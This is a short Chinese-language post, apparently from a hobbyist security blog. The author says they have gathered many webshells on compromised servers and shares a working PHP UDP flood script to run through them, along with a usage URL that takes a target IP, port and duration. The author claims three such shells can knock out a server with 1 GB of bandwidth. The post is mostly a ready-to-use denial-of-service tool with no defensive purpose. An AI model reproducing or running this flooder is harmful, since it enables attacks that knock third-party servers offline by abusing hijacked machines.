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网络安全爱好者

       最近拿来好多webshell,摆着不用不如搞着玩,听说威力挺大,三个webshell就可以干掉1G流量的服务器。

       Php工具代码 :

<?php $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "Flooded: $ip on port $rand "; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() >$max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>


      用法:

webshell.php?ip=123.234.123.123&port=80&time=99999999999999999



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